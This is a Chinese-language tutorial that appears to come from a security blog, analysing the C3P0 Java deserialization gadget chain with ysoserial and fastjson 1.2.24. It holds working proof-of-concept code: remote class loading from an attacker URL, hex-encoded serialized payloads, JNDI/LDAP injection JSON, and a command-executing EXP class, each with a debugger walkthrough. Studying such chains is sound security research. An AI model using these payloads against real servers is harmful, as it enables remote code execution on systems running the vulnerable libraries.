C3P0
c3p0第一次聽聞是用於fastjson的回顯上,大佬們總結三種方法,後面兩種主要就是用於fastjson和jackjson的回顯利用(注入記憶體馬)
http base
jndi
hex序列化位元組載入器
1、http base
1.1、漏洞復現
package ysoserial.test;
import ysoserial.Serializer;
import ysoserial.payloads.C3P0;
import java.io.*;
public class C3P0Test {
public static void main(String[] args) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:8000/:EXP");
serialize(object,"c3p0.ser");
unserialize("c3p0.ser");
}
public static void serialize(Object obj ,String path) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(obj);
}
public static void unserialize(String path) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
}
}
exp
public class EXP {
public EXP() {
}
static {
try {
Runtime var0 = Runtime.getRuntime();
String[] var1 = new String[]{"bash", "-c", "open -a calculator.app"};
Process var2 = var0.exec(var1);
var2.waitFor();
} catch (Exception var3) {
}
}
}
1.2、漏洞分析
我跟jdk7u21一樣還是通過ysoserial來學習,首先先學習一下c3p0鏈,我們看到getObject()方法,他就是通過:
截斷,獲取url和類名,然後反射建立PoolBackedDataSource
類,設定其connectionPoolDataSource
屬性設定為new PoolSource(className, url)
例項。
我們繼續看看PoolSource,除了構造方法賦值外就是有一個getReference()方法,傳入了我們的惡意的url和className
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}
}
1.3、POC除錯
1.3.1、序列化分析
我先來看看是怎麼序列化的過程,在writeObject處打下斷點
跟進去,進入到com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
,回去序列化我們的輸入this.connectionPoolDataSource,但是由於我們輸入的其實就是PoolSource,無法序列化,繼續往下走
走到這,他會序列化indirector.indirectForm(this.connectionPoolDataSource)
,我們
indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
我們跟進去看看,此處呼叫的getReference()就是PoolSource的getReference方法,也是為什麼PoolSource要重寫該方法
然後就是ReferenceIndirector.ReferenceSerialized(),我們繼續跟進去,可以看到就是把我們構造的特殊的reference賦值給this.reference,所以序列化檔案裡是包含這我們的惡意reference。
1.3.2、反序列化分析
我們從報錯的也可以看出序列化的介面是在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
的readObject
利用鏈
/*
* Gadget:
* PoolBackedDataSourceBase#readObject
* ReferenceIndirector$ReferenceSerialized#getObject
* ReferenceableUtils#referenceToObject
* Class#forName
* */
我們把斷點打在PoolBackedDataSourceBase的readObect(),走到這,會判斷o是不是IndirectlySerialized,那麼就會觸發ReferenceIndirector的getObject方法,跟進去
進來後會通過ReferenceableUtils.referenceToObject()方法將this.reference(惡意連結)轉換成Object,我們繼續跟進去
獲取我們惡意地址字串和惡意類字串分別存入var4和var11,並且新建一個ClassLoder裡面存我地址,然後通過Class.forName方法載入,此時的var4和var7都是我們可以控制的。然後就會去尋找對應的地址請求惡意類。
我們可以看到在Class.forName觸發了我們的程式碼執行,原因是Class.forName如果沒有給定 classloader, 那麼會使用根類載入器。如果initalize
這個引數傳了 true,那麼給定的類如果之前沒有被初始化過,那麼會被初始化,造成遠端程式碼執行
2、hex序列化位元組載入器
這個可以滿足fastjson和c3p0可以做到不出網利用。首先生成序列化payload,這裡的payload注意是需要本地的另一條Gadget比如CC或者CB鏈,然後hex編碼一下拼到PoC裡
java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > calc.ser
2.1、poc復現
依賴
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
Poc
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內容;"}}
package com.akkacloud;
import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.util.Arrays;
public class fast {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("/Users/akka/Desktop/tools/EXP/Weblogic/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
JSON.parseObject(poc);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
2.2、poc分析
原因仍然是fastjson自動呼叫屬性的setter和getter方法。不懂得可以學習一下前面
我們直接在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
類的 setUpPropertyListeners處打下斷點,呼叫了parseUserOverridesAsString((String)val)
,val就是我們傳入的hex加密的字串,跟進去
該方法就是把傳入的hex加密字串解密成byte[],然後呼叫fromByteArray方法,繼續跟進去
然後呼叫deserializeFromByteArray方法,繼續跟進
到這一步就很清晰了,呼叫readObejct,造成反序列化惡意程式碼執行
3、JNDI利用
此方法可以配合tomcatEcho,達到回顯
3.1、POC復現
依賴
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
package com.akkacloud;
import com.alibaba.fastjson.JSON;
public class fast {
public static void main(String[] args) throws Exception {
String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1389/EXP\", \"loginTimeout\":0}";
JSON.parseObject(poc);
}
}
3.2、POC分析
這跟fastjson其他利用鏈的差不多都是由於fastjson會自動觸發欄位的setter和getter方法。所以會自動觸發com.mchange.v2.c3p0.JndiRefForwardingDataSource
的setJndiName
,但是由於該類沒有該方法就會呼叫其父類com.mchange.v2.c3p0.impl.JndiRefDataSourceBase
的setJndiName
。我們在該方法打下斷點,可以看到該方法就是把this.jndiName賦值為其傳入的值(惡意連結),然後就是呼叫setloginTimeout
然後進入到om.mchange.v2.c3p0.JndiRefForwardingDataSource
累的setloginTimeout
,呼叫inner
方法,跟進去
繼續呼叫dereference
方法,繼續跟進
跟進去就發現會呼叫我們ctx.lookup((String)jndiName)
,完成jndi注入
參考
https://www.cnblogs.com/nice0e3/p/15058285.html
https://www.shuzhiduo.com/A/ZOJPN24Odv/